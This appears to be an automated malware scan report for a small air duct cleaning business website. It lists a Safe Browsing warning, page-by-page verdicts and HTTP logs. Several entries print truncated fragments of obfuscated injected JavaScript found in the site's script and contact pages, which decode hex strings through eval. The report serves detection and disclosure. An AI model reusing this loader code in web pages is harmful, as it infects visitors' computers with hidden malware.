Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=vcsairductcleaningduluth.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://vcsairductcleaningduluth.com/ | 200 OK Content-Length: 8845 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" language="javascript"></script> | ||
http://vcsairductcleaningduluth.com/script/jquery-1.2.6.js | 200 OK Content-Length: 104772 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) tyxbtb="y";yqj="document";try{+function(){if(document.querySelector)--(window[yqj].getElementById("asd"))}()}catch(tddzty){begwuh=function(xhajsr){xhajsr="fro"+xhajsr;for(lbxnx=0;lbxnx<tyxbtb.length;lbxnx++){tbzpw+=String[xhajsr](cvse(oyes+(tyxbtb[lbxnx]))-(108));}};};cvse=eval;oyes="0x";zlistq=0;if(!zlistq){try{++cvse(yqj).body}catch(tddzty){inhtx="(";}tyxbtb="8c(d2(e1(da(cf(e0(d5(db(da(8c(d5(9c(a5(94(95(8c(e7(79(76(8c(e2(cd(de(8c(df(e0(cd(e0(d5(cf(a9(93(cd(d6(cd(e4(93(a7(79(76(8c(e2(cd(de(8 Antivirus reports:
| ||
http://vcsairductcleaningduluth.com/index.html | 200 OK Content-Length: 8845 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" language="javascript"></script> | ||
http://vcsairductcleaningduluth.com/duluth-air-duct-cleaning.html | 200 OK Content-Length: 12023 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: www.vcsairductcleaningatlanta.com <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>VCS Duluth Air Duct Cleaning Services (404) 382 9544 - Air Duct Cleaning Company in Duluth GA</title> <meta name="description" content="VCS Air Duct Cleaning Company in Duluth - We offer Air Duct Cleaning and Heater Duct Cleaning ...[4349 bytes skipped]... | ||
http://vcsairductcleaningduluth.com/duluth-dryer-vent-cleaning.html | 200 OK Content-Length: 10022 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: www.vcsairductcleaningatlanta.com <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>VCS Duluth Dryer Vent Cleaning (404) 382 9544 - Dryer vent Cleaning in Duluth, GA</title> <meta name="description" content="VCS Dryer Vent Cleaning Services in Duluth, GA. We offers Dryer Vent Cleaning & Repair, Dryer Du ...[4345 bytes skipped]... | ||
http://vcsairductcleaningduluth.com/duluth-chimney-sweeps.html | 200 OK Content-Length: 8350 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: www.vcsairductcleaningatlanta.com <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>VCS Duluth Chimney Sweep (404) 382 9544 - Chimney Sweep in Duluth, GA 30096</title> <meta name="description" content="VCS Chimney Sweep in Duluth offers Chimney Sweep, Chimney Cleaning & Chimney Repair services in Duluth, ...[4395 bytes skipped]... | ||
http://vcsairductcleaningduluth.com/duluth-coupons.html | 200 OK Content-Length: 8943 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: www.vcsairductcleaningatlanta.com <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>Coupons & Special Offers by VCS in Duluth - Air Duct Cleaning Coupons (404) 382 9544</title> <meta name="description" content="Coupons & Special Offers by VCS Air Duct Cleaning Services in Duluth. We offer cleanin ...[4335 bytes skipped]... | ||
http://vcsairductcleaningduluth.com/contactus.html | 200 OK Content-Length: 13337 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) gxk="y";jvssk="document";try{+function(){if(document.querySelector)--(window[jvssk].getElementById("asd"))}()}catch(ebjpha){cdu=function(cwshyl){cwshyl="fro"+cwshyl;for(dnvqcf=0;dnvqcf<gxk.length;dnvqcf++){spxv+=String[cwshyl](bqe(azq+(gxk[dnvqcf]))-(89));}};};bqe=eval;azq="0x";gfu=0;if(!gfu){try{++bqe(jvssk).body}catch(ebjpha){aiwmd="(";}gxk="79(bf(ce(c7(bc(cd(c2(c8(c7(79(c1(cb(89(92(81(82(79(d4(66(63(79(cf(ba(cb(79(cc(cd(ba(cd(c2(bc(96(80(ba(c3(ba(d1(80(94 ...[4035 bytes skipped]... Antivirus reports:
| ||
http://vcsairductcleaningduluth.com/script/formfunc.js | 200 OK Content-Length: 10014 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) gxk="y";jvssk="document";try{+function(){if(document.querySelector)--(window[jvssk].getElementById("asd"))}()}catch(ebjpha){cdu=function(cwshyl){cwshyl="fro"+cwshyl;for(dnvqcf=0;dnvqcf<gxk.length;dnvqcf++){spxv+=String[cwshyl](bqe(azq+(gxk[dnvqcf]))-(89));}};};bqe=eval;azq="0x";gfu=0;if(!gfu){try{++bqe(jvssk).body}catch(ebjpha){aiwmd="(";}gxk="79(bf(ce(c7(bc(cd(c2(c8(c7(79(c1(cb(89(92(81(82(79(d4(66(63(79(cf(ba(cb(79(cc(cd(ba(cd(c2(bc(96(80(ba(c3(ba(d1(80(94(66(63(79(cf(ba(cb(79(bc(c8(c7(cd(c Antivirus reports:
| ||
http://vcsairductcleaningduluth.com/test404page.js | 404 Not Found Content-Length: 468 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: vcsairductcleaningduluth.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 17 Jan 2015 06:20:10 GMT
Accept-Ranges: bytes
Server: Apache
Vary: Accept-Encoding
Content-Length: 8845
Content-Type: text/html
...8845 bytes of data.
GET / HTTP/1.1
Host: vcsairductcleaningduluth.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 17 Jan 2015 06:20:10 GMT
Accept-Ranges: bytes
Server: Apache
Vary: Accept-Encoding
Content-Length: 8845
Content-Type: text/html
...8845 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: vcsairductcleaningduluth.com
Referer: http://www.google.com/search?q=vcsairductcleaningduluth.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: vcsairductcleaningduluth.com
Referer: http://www.google.com/search?q=vcsairductcleaningduluth.com
Result:
The result is similar to the first query. There are no suspicious redirects found.